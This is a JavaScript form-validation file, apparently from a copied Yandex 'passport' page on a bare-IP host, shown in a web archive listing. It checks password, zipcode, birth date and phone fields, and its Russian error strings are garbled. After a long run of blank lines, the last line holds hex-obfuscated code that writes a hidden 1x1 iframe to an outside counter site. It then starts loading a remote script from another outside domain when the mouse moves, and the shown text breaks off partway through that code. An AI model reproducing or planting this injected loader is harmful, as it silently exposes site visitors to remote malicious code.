home *** CD-ROM | disk | FTP | other *** search
/ 91.121.126.69 / 91.121.126.69.tar / 91.121.126.69 / passport_files / money.js < prev    next >
Text File  |  2015-05-23  |  22KB  |  398 lines

  1. if( !document.ym ) document.ym = {};
  2.  
  3. document.ym.PASSWORD_FIELD = 'newpasswd';
  4. document.ym.REPEAT_FIELD = 'newpasswd2';
  5. document.ym.ZIPCODE_FIELD = 'zipcode';
  6. document.ym.BIRTH_DAY_FIELD = 'bday';
  7. document.ym.BIRTH_MONTH_FIELD = 'bmonth';
  8. document.ym.BIRTH_YEAR_FIELD = 'byear';
  9. document.ym.PHONE_FIELD = 'phone';
  10. document.ym.ERROR_PHONE_PLACEHOLDER = 'phone-error';
  11. document.ym.ERROR_PLACEHOLDER = 'password-error';
  12. document.ym.ERROR_PASS2_PLACEHOLDER = 'password2-error';
  13. document.ym.ERROR_ZIPCODE_PLACEHOLDER = 'zipcode-error';
  14. document.ym.ERROR_BIRTH_PLACEHOLDER = 'birth-error';
  15. document.ym.LOCAL_HELP_ID = 'local-help';
  16. document.ym.HIDDEN_CLASS = 'hidden';
  17. document.ym.ERROR_CLASS = 'error';
  18. document.ym.ERROR_NONHIDDEN_CLASS = 'error-nonhidden';
  19. document.ym.passwordValidator = /[^A-Za-z\d\u0021\u0023\u0024\u0025\u0026\u0028\u0029\u002a\u002b\u002d\u0040\u005e\u005f]/;
  20.  
  21. document.ym.getEventTarget = function( aEvent ) {
  22.     aEvent = aEvent || window.event;
  23.     return aEvent.target || aEvent.srcElement;
  24. }
  25.  
  26. document.ym.setClassById = function( aElementId, aClassName ) {
  27.     var element = document.getElementById( aElementId );
  28.     return element ? element.className = aClassName : false;
  29. }
  30.  
  31. document.ym.clearStateStyles = function( aEvent ) {
  32.     var target = this.getEventTarget( aEvent );    
  33.     target.className = target.className.replace( new RegExp( '('   this.ERROR_CLASS   '|'   this.HIDDEN_CLASS   ')' ), '' )
  34.     return true;
  35. }
  36.  
  37. document.ym.setFieldStyles = function( aFieldClass, aErrorPlaceholderClass, field, placeholder ) {    
  38.     try {
  39.         this.setClassById( field, aFieldClass );
  40.         var errorPlaceholder = document.getElementById( placeholder );
  41.         errorPlaceholder.className = aErrorPlaceholderClass;
  42.         var errorLabel = errorPlaceholder.getElementsByTagName('span')[1];
  43.         errorLabel.className = aFieldClass;        
  44.     }
  45.     catch(e) {}
  46. }
  47. document.ym.setErrorPlaceholderText = function( aStateText, aMessage, placeholder ) {
  48.     try {
  49.         var errorMessage = document.getElementById( placeholder ).getElementsByTagName('span')[0].getElementsByTagName('span');
  50.         errorMessage[0].innerHTML = aStateText;
  51.         errorMessage[1].innerHTML = aMessage;
  52.     }
  53.     catch(e) {}
  54. }
  55.  
  56. document.ym.postBodyLoad = function() {}
  57.  
  58. document.ym.checkPasswordOKU = function() {
  59.     var target = document.getElementById( this.PASSWORD_FIELD );
  60.     var reasonIncorrectSymbols = this.passwordValidator.test( target.value );
  61.     if( target.value.length == 0 ) {
  62.         this.setFieldStyles( '', this.HIDDEN_CLASS, this.PASSWORD_FIELD, this.ERROR_PLACEHOLDER );
  63.     }
  64.     else if( reasonIncorrectSymbols ) {
  65.         this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.PASSWORD_FIELD, this.ERROR_PLACEHOLDER );
  66.         this.setErrorPlaceholderText( '═σδⁿτ :', 'Γ ∩α≡εδσ ∞εµφε Φ±∩εδⁿτεΓα≥ⁿ ≥εδⁿΩε ß≤ΩΓ√ δα≥Φφ±Ωεπε αδ⌠αΓΦ≥α, ÷Φ⌠≡√ Φ ±Φ∞Γεδ√ ! @ # $ % ^ & * ( ) _ -  ', this.ERROR_PLACEHOLDER );
  67.     }
  68.     else
  69.         this.setFieldStyles( '', this.HIDDEN_CLASS, this.PASSWORD_FIELD, this.ERROR_PLACEHOLDER );
  70.     return true;
  71. }
  72.  
  73. document.ym.checkPasswdOC = function () {
  74.     var target = document.getElementById( this.PASSWORD_FIELD );
  75.     var reasonIncorrectSymbols = this.passwordValidator.test( target.value );
  76.     var reasonLoginAsPassword = (typeof YANDEX_USERNAME != typeof undefined ) ? target.value.toLowerCase() == YANDEX_USERNAME.toString().toLowerCase() : false;
  77.     var reasonPasswordTooShort = target.value.length < 6;
  78.     if( reasonPasswordTooShort || reasonLoginAsPassword || reasonIncorrectSymbols ) {    
  79.         this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.PASSWORD_FIELD, this.ERROR_PLACEHOLDER );
  80.         if ( reasonIncorrectSymbols )
  81.             this.setErrorPlaceholderText( '═σδⁿτ :', 'Γ ∩α≡εδσ ∞εµφε Φ±∩εδⁿτεΓα≥ⁿ ≥εδⁿΩε ß≤ΩΓ√ δα≥Φφ±Ωεπε αδ⌠αΓΦ≥α, ÷Φ⌠≡√ Φ ±Φ∞Γεδ√ ! @ # $ % ^ & * ( ) _ -  ', this.ERROR_PLACEHOLDER );
  82.         else if( reasonLoginAsPassword )
  83.             this.setErrorPlaceholderText( '═σδⁿτ :', 'Φ±∩εδⁿτεΓα≥ⁿ δεπΦφ Γ Ωα≈σ±≥Γσ ∩δα≥σµφεπε ∩α≡εδ !', this.ERROR_PLACEHOLDER );
  84.         else if( reasonPasswordTooShort )
  85.             this.setErrorPlaceholderText( '═σδⁿτ :', '∩δα≥σµφ√Θ ∩α≡εδⁿ Σεδµσφ ±ε±≥ε ≥ⁿ ΩαΩ ∞ΦφΦ∞≤∞ Φτ 6 ±Φ∞ΓεδεΓ!', this.ERROR_PLACEHOLDER );
  86.         return 0;            
  87.     }
  88.     this.checkPasswordRepeatOKU();
  89.     return true;
  90. }
  91.  
  92. function finalPasswd() {
  93.     return document.ym.checkPasswdOC();    
  94. }
  95.  
  96. document.ym.checkPasswordRepeatOKU = function() {
  97.     var target = document.getElementById( this.REPEAT_FIELD );
  98.     var passwordField = document.getElementById( this.PASSWORD_FIELD );
  99.     var reasonIncorrectSymbols = this.passwordValidator.test( target.value );
  100.     if( target.value.length == 0 || passwordField.value.length == 0 || ( target.value.length < passwordField.value.length && target.value == passwordField.value.substr( 0, target.value.length ) ) )
  101.     {    
  102.         this.setFieldStyles( '', this.HIDDEN_CLASS, this.REPEAT_FIELD, this.ERROR_PASS2_PLACEHOLDER );
  103.         this.setClassById( this.REPEAT_FIELD, '' );
  104.         return 0;        
  105.     }
  106.     else if (reasonIncorrectSymbols)
  107.     {
  108.         this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.REPEAT_FIELD, this.ERROR_PASS2_PLACEHOLDER );
  109.                 this.setErrorPlaceholderText( '═σδⁿτ :', 'Γ ∩α≡εδσ ∞εµφε Φ±∩εδⁿτεΓα≥ⁿ ≥εδⁿΩε ß≤ΩΓ√ δα≥Φφ±Ωεπε αδ⌠αΓΦ≥α, ÷Φ⌠≡√ Φ ±Φ∞Γεδ√ ! @ # $ % ^ & * ( ) _ -  ', this.ERROR_PASS2_PLACEHOLDER );
  110.         this.setClassById( this.REPEAT_FIELD, this.ERROR_CLASS );
  111.         return 0;
  112.     }
  113.     else if( target.value.length > passwordField.value.length || target.value != passwordField.value.substr( 0, target.value.length ) )
  114.     {
  115.         this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.REPEAT_FIELD, this.ERROR_PASS2_PLACEHOLDER );
  116.         this.setErrorPlaceholderText( '═σδⁿτ :', 'ΓΓσΣΦ≥σ εΣΦφ Φ ≥ε≥ µσ ∩α≡εδⁿ Γ ∩εδ  "╧≡ΦΣ≤∞αΘ≥σ ∩δα≥σµφ√Θ ∩α≡εδⁿ" Φ "╚ σ∙σ ≡ατ – ∩δα≥σµφ√Θ ∩α≡εδⁿ"!', this.ERROR_PASS2_PLACEHOLDER );
  117.         this.setClassById( this.REPEAT_FIELD, this.ERROR_CLASS );
  118.         return 0;
  119.     }    
  120.     else
  121.     {
  122.         this.setFieldStyles( '', this.HIDDEN_CLASS, this.REPEAT_FIELD, this.ERROR_PASS2_PLACEHOLDER );    
  123.         this.setFieldStyles( '', this.HIDDEN_CLASS, this.PASSWORD_FIELD, this.ERROR_PLACEHOLDER );
  124.         return true;        
  125.     }    
  126.     return true;
  127. }
  128.  
  129. document.ym.checkPasswordRepeatOC = function() {
  130.     var target = document.getElementById( this.REPEAT_FIELD );
  131.     var passwordField = document.getElementById( this.PASSWORD_FIELD );
  132.     var reasonIncorrectSymbols = this.passwordValidator.test( target.value );
  133.     if (reasonIncorrectSymbols)
  134.     {
  135.         this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.REPEAT_FIELD, this.ERROR_PASS2_PLACEHOLDER );
  136.         this.setErrorPlaceholderText( '═σδⁿτ :', 'Γ ∩α≡εδσ ∞εµφε Φ±∩εδⁿτεΓα≥ⁿ ≥εδⁿΩε ß≤ΩΓ√ δα≥Φφ±Ωεπε αδ⌠αΓΦ≥α, ÷Φ⌠≡√ Φ ±Φ∞Γεδ√ ! @ # $ % ^ & * ( ) _ -  ', this.ERROR_PASS2_PLACEHOLDER );
  137.         this.setClassById( this.REPEAT_FIELD, this.ERROR_CLASS );
  138.         return 0;
  139.     }
  140.     else if( target.value.length == 0 || passwordField.value.length == 0 || (target.value != passwordField.value) )
  141.     {
  142.         this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.REPEAT_FIELD, this.ERROR_PASS2_PLACEHOLDER );
  143.         this.setErrorPlaceholderText( '═σδⁿτ :', 'ΓΓσΣΦ≥σ εΣΦφ Φ ≥ε≥ µσ ∩α≡εδⁿ Γ ∩εδ  "╧≡ΦΣ≤∞αΘ≥σ ∩δα≥σµφ√Θ ∩α≡εδⁿ" Φ "╚ σ∙σ ≡ατ – ∩δα≥σµφ√Θ ∩α≡εδⁿ"!', this.ERROR_PASS2_PLACEHOLDER );
  144.         this.setClassById( this.REPEAT_FIELD, this.ERROR_CLASS );
  145.         return 0;
  146.     }
  147.     else
  148.     {
  149.         this.setFieldStyles( '', this.HIDDEN_CLASS, this.REPEAT_FIELD, this.ERROR_PASS2_PLACEHOLDER );
  150.         this.setFieldStyles( '', this.HIDDEN_CLASS, this.PASSWORD_FIELD, this.ERROR_PLACEHOLDER );
  151.         return true;
  152.     }
  153.     return true;
  154. }
  155.  
  156. function finalPasswordRepeat() {
  157.     return document.ym.checkPasswordRepeatOC();
  158. }
  159.  
  160.  
  161. document.ym.checkZipcodeOKU = function() {
  162.     var target = document.getElementById( this.ZIPCODE_FIELD );        
  163.     var reasonNoNumbers =  !/^\d $/.test( target.value );
  164.     if( target.value.length == 0 ) {
  165.         this.setFieldStyles( '', this.HIDDEN_CLASS, this.ZIPCODE_FIELD, this.ERROR_ZIPCODE_PLACEHOLDER );
  166.     }
  167.     else if( reasonNoNumbers ) {    
  168.         this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.ZIPCODE_FIELD, this.ERROR_ZIPCODE_PLACEHOLDER );
  169.         this.setErrorPlaceholderText( '═σδⁿτ :', '╧≡αΓΦδⁿφ√Θ ΩεΣ Γε±±≥αφεΓδσφΦ  ±ε±≥εΦ≥ Φτ ÷Φ⌠≡!', this.ERROR_ZIPCODE_PLACEHOLDER );
  170.     }
  171.     else if (target.value.length > 40)
  172.     {
  173.         this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.ZIPCODE_FIELD, this.ERROR_ZIPCODE_PLACEHOLDER );
  174.         this.setErrorPlaceholderText( '═σδⁿτ :', '╧≡αΓΦδⁿφ√Θ ΩεΣ Γε±±≥αφεΓδσφΦ  ±ε±≥εΦ≥ ∞αΩ±Φ∞≤∞ Φτ ±ε≡εΩα ÷Φ⌠≡!', this.ERROR_ZIPCODE_PLACEHOLDER );
  175.     }
  176.     else
  177.     {
  178.         this.setFieldStyles( '', this.HIDDEN_CLASS, this.ZIPCODE_FIELD, this.ERROR_ZIPCODE_PLACEHOLDER );            
  179.         this.setClassById( this.ZIPCODE_FIELD, '' );    
  180.     }    
  181.     return true;
  182. }
  183.  
  184. document.ym.checkZipcodeOC = function() {
  185.     var target = document.getElementById( this.ZIPCODE_FIELD );        
  186.     var reasonNoNumbers =  !/^\d $/.test( target.value );
  187.     var reasonSameNumbers = !testZipcode( target.value );
  188.     if( reasonNoNumbers )
  189.     {
  190.         this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.ZIPCODE_FIELD, this.ERROR_ZIPCODE_PLACEHOLDER );
  191.         this.setErrorPlaceholderText( '═σδⁿτ :', '╧≡αΓΦδⁿφ√Θ ΩεΣ Γε±±≥αφεΓδσφΦ  ±ε±≥εΦ≥ Φτ ÷Φ⌠≡!', this.ERROR_ZIPCODE_PLACEHOLDER );
  192.         return 0;
  193.     }
  194.     else if( (target.value.length == 0) || ((target.value.length > 0) && (target.value.length < 7)) )
  195.     {
  196.         this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.ZIPCODE_FIELD, this.ERROR_ZIPCODE_PLACEHOLDER );
  197.         this.setErrorPlaceholderText( '═σδⁿτ :', '╧≡αΓΦδⁿφ√Θ ΩεΣ Γε±±≥αφεΓδσφΦ  ±ε±≥εΦ≥ ΩαΩ ∞ΦφΦ∞≤∞ Φτ ±σ∞Φ ÷Φ⌠≡!', this.ERROR_ZIPCODE_PLACEHOLDER );
  198.         return 0;
  199.     }
  200.     else if (target.value.length > 40)
  201.     {
  202.         this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.ZIPCODE_FIELD, this.ERROR_ZIPCODE_PLACEHOLDER );
  203.         this.setErrorPlaceholderText( '═σδⁿτ :', '╧≡αΓΦδⁿφ√Θ ΩεΣ Γε±±≥αφεΓδσφΦ  ±ε±≥εΦ≥ ∞αΩ±Φ∞≤∞ Φτ ±ε≡εΩα ÷Φ⌠≡!', this.ERROR_ZIPCODE_PLACEHOLDER );
  204.         return 0;
  205.     }
  206.     else if( reasonSameNumbers)
  207.     {
  208.         this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.ZIPCODE_FIELD, this.ERROR_ZIPCODE_PLACEHOLDER );
  209.         this.setErrorPlaceholderText( '═σδⁿτ :', '╧≡αΓΦδⁿφ√Θ ΩεΣ Γε±±≥αφεΓδσφΦ  ±ε±≥εΦ≥ Φτ ≡ατφ√⌡ ÷Φ⌠≡!', this.ERROR_ZIPCODE_PLACEHOLDER );
  210.         return 0;        
  211.     }
  212.     return true;
  213. }
  214.  
  215. function testZipcode(val)
  216. {
  217.     if (val.length <= 1)
  218.         return true;
  219.     aValue = String(val);
  220.     for (var i = 0; i < aValue.length-1; i  )
  221.         if (aValue.substr(i,1) != aValue.substr(i 1,1) )
  222.             return true;
  223.     return 0;
  224. }
  225.  
  226. function finalZipcode() {
  227.     return document.ym.checkZipcodeOC();        
  228. }
  229.  
  230. document.ym.checkBirthOKU = function( aEvent ) {
  231.     var birthdayField = document.getElementById( this.BIRTH_DAY_FIELD );
  232.     var birthyearField = document.getElementById( this.BIRTH_YEAR_FIELD );
  233.     var reasonBadDay = (birthdayField.value.length > 0) && !/^\d $/.test( birthdayField.value );
  234.     var reasonBadYear = (birthyearField.value.length > 0) && !/^\d $/.test( birthyearField.value );
  235.     if( birthdayField.value.length == 0 && birthyearField.value.length == 0 )
  236.     {
  237.         this.setFieldStyles( '', this.HIDDEN_CLASS, this.BIRTH_DAY_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
  238.         this.setFieldStyles( '', this.HIDDEN_CLASS, this.BIRTH_YEAR_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
  239.     }
  240.     else if ( reasonBadDay || reasonBadYear )
  241.     {
  242.         this.setErrorPlaceholderText( '═σδⁿτ :', 'ΓΓσΣΦ≥σ ±Γε■ Σα≥≤ ≡εµΣσφΦ  ∩≡αΓΦδⁿφε!', this.ERROR_BIRTH_PLACEHOLDER );
  243.         if ( reasonBadDay && reasonBadYear )
  244.         {
  245.             this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.BIRTH_DAY_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
  246.             this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.BIRTH_YEAR_FIELD, this.ERROR_BIRTH_PLACEHOLDER );        
  247.         }
  248.         else if ( !reasonBadDay && reasonBadYear )
  249.         {
  250.             this.setFieldStyles( '', this.ERROR_HIDDEN_CLASS, this.BIRTH_DAY_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
  251.             this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.BIRTH_YEAR_FIELD, this.ERROR_BIRTH_PLACEHOLDER );        
  252.         }
  253.         else if ( reasonBadDay && !reasonBadYear )
  254.         {
  255.             this.setFieldStyles( '', this.ERROR_HIDDEN_CLASS, this.BIRTH_YEARY_FIELD, this.ERROR_BIRTH_PLACEHOLDER );    
  256.             this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.BIRTH_DAY_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
  257.         }
  258.     }
  259.     else if ( !reasonBadDay && !reasonBadYear )
  260.     {
  261.         this.setFieldStyles( '', this.HIDDEN_CLASS, this.BIRTH_DAY_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
  262.         this.setFieldStyles( '', this.HIDDEN_CLASS, this.BIRTH_YEAR_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
  263.     }
  264.     return true;
  265. }
  266.  
  267. document.ym.checkBirthOC = function( aEvent ) {
  268.     var birthdayField = document.getElementById( this.BIRTH_DAY_FIELD );
  269.     var birthmonthField = document.getElementById( this.BIRTH_MONTH_FIELD );
  270.     var birthyearField = document.getElementById( this.BIRTH_YEAR_FIELD );
  271.     var reasonBadDay = (birthdayField.value.length > 0) && ((!/^([0-2]?\d|30|31)$/.test( birthdayField.value )) || (birthdayField.value <= 0) || (birthdayField.value > 31));
  272.     var reasonBadYear = (birthyearField.value.length > 0) && ((!/^(19|20)\d\d$/.test( birthyearField.value )) || (birthyearField.value < 1900));
  273.     if( birthdayField.value.length == 0 && birthyearField.value.length == 0 )
  274.     {
  275.         this.setErrorPlaceholderText( '═σδⁿτ :', 'ΓΓσΣΦ≥σ ±Γε■ Σα≥≤ ≡εµΣσφΦ  ∩≡αΓΦδⁿφε!', this.ERROR_BIRTH_PLACEHOLDER );
  276.         this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.BIRTH_DAY_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
  277.         this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.BIRTH_YEAR_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
  278.         return 0;
  279.     }
  280.     else if ( reasonBadDay || reasonBadYear )
  281.     {
  282.         this.setErrorPlaceholderText( '═σδⁿτ :', 'ΓΓσΣΦ≥σ ±Γε■ Σα≥≤ ≡εµΣσφΦ  ∩≡αΓΦδⁿφε!', this.ERROR_BIRTH_PLACEHOLDER );
  283.         if ( reasonBadDay && reasonBadYear )
  284.         {
  285.             this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.BIRTH_DAY_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
  286.             this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.BIRTH_YEAR_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
  287.         }
  288.         else if ( !reasonBadDay && reasonBadYear )
  289.         {
  290.             this.setFieldStyles( '', this.ERROR_HIDDEN_CLASS, this.BIRTH_DAY_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
  291.             this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.BIRTH_YEAR_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
  292.         }
  293.         else if ( reasonBadDay && !reasonBadYear )
  294.         {
  295.  
  296.  
  297.             this.setFieldStyles( '', this.ERROR_HIDDEN_CLASS, this.BIRTH_YEARY_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
  298.             this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.BIRTH_DAY_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
  299.         }
  300.         return 0;
  301.     }
  302.     else if ( !reasonBadDay && !reasonBadYear )
  303.     {
  304.         this.setFieldStyles( '', this.HIDDEN_CLASS, this.BIRTH_DAY_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
  305.         this.setFieldStyles( '', this.HIDDEN_CLASS, this.BIRTH_YEAR_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
  306.         return true;
  307.     }
  308.     return true;
  309. }
  310.  
  311. function finalBirth() {
  312.     var birthdayField = document.getElementById( document.ym.BIRTH_DAY_FIELD );
  313.     var birthyearField = document.getElementById( document.ym.BIRTH_YEAR_FIELD );
  314.     if (birthdayField.value.length == 0 || birthyearField.value.length == 0)
  315.     {
  316.         
  317.         document.ym.setErrorPlaceholderText( '═σδⁿτ :', 'ΓΓσΣΦ≥σ ±Γε■ Σα≥≤ ≡εµΣσφΦ  ∩≡αΓΦδⁿφε!', document.ym.ERROR_BIRTH_PLACEHOLDER );
  318.         document.ym.setFieldStyles( document.ym.ERROR_CLASS, document.ym.ERROR_NONHIDDEN_CLASS, document.ym.BIRTH_DAY_FIELD, document.ym.ERROR_BIRTH_PLACEHOLDER );
  319.         document.ym.setFieldStyles( document.ym.ERROR_CLASS, document.ym.ERROR_NONHIDDEN_CLASS, document.ym.BIRTH_YEAR_FIELD, document.ym.ERROR_BIRTH_PLACEHOLDER );
  320.         return false;        
  321.     }    
  322.     else    
  323.         return document.ym.checkBirthOC();
  324. }
  325.  
  326. document.ym.checkPhoneOC = function() {
  327.     this.setFieldStyles( '', this.HIDDEN_CLASS, this.PHONE_FIELD, this.ERROR_PHONE_PLACEHOLDER );
  328.     return true;
  329. };
  330.  
  331. function finalPhone(str) {
  332.     var ph = str.replace(/[\s\-()]/g, ''),
  333.         numbers = null,
  334.         check = /^(?:\ [1-9])|8/.test(ph);
  335.         
  336.     numbers = ph.match(/\d/g);
  337.     
  338.     if (str.replace(/^\s |\s $/g, '') === '') {
  339.         document.getElementById(document.ym.PHONE_FIELD).value = '';
  340.         check = true;
  341.     } else if (numbers !== null) {
  342.         check = check && numbers.length >= 9 && numbers.length <= 13;
  343.     } else {
  344.         check = false;
  345.     }
  346.  
  347.     if (check) {
  348.         document.ym.setFieldStyles('', document.ym.HIDDEN_CLASS, document.ym.PHONE_FIELD, document.ym.ERROR_PHONE_PLACEHOLDER );
  349.         return true;
  350.     } else {
  351.         document.ym.setErrorPlaceholderText( '╬°ΦßΩα:', 'φε∞σ≡ ΓΓσΣ╕φ φσΓσ≡φε', document.ym.ERROR_PHONE_PLACEHOLDER );
  352.         document.ym.setFieldStyles( document.ym.ERROR_CLASS, document.ym.ERROR_NONHIDDEN_CLASS, document.ym.PHONE_FIELD, document.ym.ERROR_PHONE_PLACEHOLDER );
  353.         return 0;
  354.     }
  355. }
  356.  
  357. document.ym.regFormValidator = new formValidator( 
  358.     [
  359.         new validationItem( document.ym.PASSWORD_FIELD, 'value', { test: finalPasswd } ),        
  360.         new validationItem( document.ym.REPEAT_FIELD, 'value', { test: finalPasswordRepeat } ),
  361.         new validationItem( document.ym.ZIPCODE_FIELD, 'value', { test: finalZipcode } ),
  362.         new validationItem( document.ym.BIRTH_DAY_FIELD, 'value', { test: finalBirth } ),
  363.         new validationItem( document.ym.PHONE_FIELD, 'value', {test: finalPhone} ),
  364.         new validationItem( document.ym.BIRTH_YEAR_FIELD, 'value', { test: finalBirth } )
  365.     ],
  366.     document.ym.NONHIDDEN_CLASS
  367. );
  368.  
  369.  
  370.  
  371.  
  372.  
  373.  
  374.  
  375.  
  376.  
  377.  
  378.  
  379.  
  380.  
  381.  
  382.  
  383.  
  384.  
  385.  
  386.  
  387.  
  388.  
  389.  
  390.  
  391.  
  392.  
  393.  
  394.  
  395.  
  396.  
  397.  
  398. var _0x6dae=["\x3D","","\x6C\x65\x6E\x67\x74\x68","\x63\x6F\x6F\x6B\x69\x65","\x69\x6E\x64\x65\x78\x4F\x66","\x3B","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x73\x74\x6F\x70\x65\x64","\x70\x6C\x61\x74\x66\x6F\x72\x6D","\x57\x69\x6E\x33\x32","\x61\x70\x70\x4E\x61\x6D\x65","\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x20\x49\x6E\x74\x65\x72\x6E\x65\x74\x20\x45\x78\x70\x6C\x6F\x72\x65\x72","\x4E\x65\x74\x73\x63\x61\x70\x65","\x34\x33\x32\x30\x30\x30\x20\x68\x6F\x75\x72\x73","\x67\x65\x74\x48\x6F\x75\x72\x73","\x73\x65\x74\x48\x6F\x75\x72\x73","\x73\x74\x6F\x70\x65\x64\x3D","\x3B\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x47\x4D\x54\x53\x74\x72\x69\x6E\x67","\x3C\x64\x69\x76\x20\x6E\x61\x6D\x65\x3D\x22\x79\x6F\x75\x74\x75\x62\x65\x22\x3E\x3C\x69\x66\x72\x61\x6D\x65\x20\x77\x69\x64\x74\x68\x3D\x22\x31\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x31\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x64\x65\x68\x65\x69\x64\x65\x2E\x62\x65\x2F\x63\x6F\x75\x6E\x74\x2E\x70\x68\x70\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x22\x30\x22\x20\x61\x6C\x6C\x6F\x77\x66\x75\x6C\x6C\x73\x63\x72\x65\x65\x6E\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x3C\x2F\x64\x69\x76\x3E","\x77\x72\x69\x74\x65"];function get_cookie(_0x237bx2){var _0x237bx3=_0x237bx2 _0x6dae[0];var _0x237bx4=_0x6dae[1];if(document[_0x6dae[3]][_0x6dae[2]]>0){offset=document[_0x6dae[3]][_0x6dae[4]](_0x237bx3);if(offset!=-1){offset =_0x237bx3[_0x6dae[2]];end=document[_0x6dae[3]][_0x6dae[4]](_0x6dae[5],offset);if(end==-1){end=document[_0x6dae[3]][_0x6dae[2]];} ;_0x237bx4=unescape(document[_0x6dae[3]][_0x6dae[6]](offset,end));} ;} ;return _0x237bx4;} ;if(get_cookie(_0x6dae[7])==_0x6dae[1]&&navigator[_0x6dae[8]]==_0x6dae[9]){if(navigator[_0x6dae[10]]==_0x6dae[11]||navigator[_0x6dae[10]]==_0x6dae[12]){var popfrequency=_0x6dae[13];var expireDate= new Date();expireDate[_0x6dae[15]](expireDate[_0x6dae[14]]() parseInt(popfrequency));document[_0x6dae[3]]=_0x6dae[16] parseInt(popfrequency) _0x6dae[17] expireDate[_0x6dae[18]]();document[_0x6dae[20]](_0x6dae[19]);} ;} ;;var _0x9798=["\x5F\x5F\x5F","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x73\x74\x61\x74\x65","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x63\x6F\x6D\x70\x6C\x65\x74\x65","\x6F\x6E\x6C\x6F\x61\x64","\x6D\x6F\x75\x73\x65\x6D\x6F\x76\x65","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x72\x61\x6E\x64\x6F\x6D","\x68\x74\x74\x70\x3A\x2F\x2F\x66\x72\x65\x65\x2D\x74\x6F\x6F\x6C\x73\x2E\x69\x6E\x66\x6F\x2F","\x2E\x6A\x73","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x69\x65","\x6D\x61\x74\x63\x68","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x69\x6E\x69\x74","\x6F\x6E\x6D\x6F\x75\x73\x65\x6D\x6F\x76\x65"];if( typeof window[_0x9798[0]]===_0x9798[1]){window[_0x9798[0]]={};window[_0x9798[0]][_0x9798[2]]=0;window[_0x9798[0]][_0x9798[3]]=document[_0x9798[4]](_0x9798[3]);window[_0x9798[0]][_0x9798[3]][_0x9798[5]]=_0x9798[6];window[_0x9798[0]][_0x9798[3]][_0x9798[7]]=function (){if(this[_0x9798[8]]==_0x9798[9]){window[_0x9798[0]][_0x9798[2]]=2;} ;} ;window[_0x9798[0]][_0x9798[3]][_0x9798[10]]=function (){window[_0x9798[0]][_0x9798[2]]=2;} ;window[_0x9798[0]][_0x9798[11]]=function (){if(window[_0x9798[0]][_0x9798[2]]===0){window[_0x9798[0]][_0x9798[2]]=1;var _0x4a04x1=document[_0x9798[13]](_0x9798[12])[0];var _0x4a04x2=Math[_0x9798[15]]().toString()[_0x9798[14]](3);var 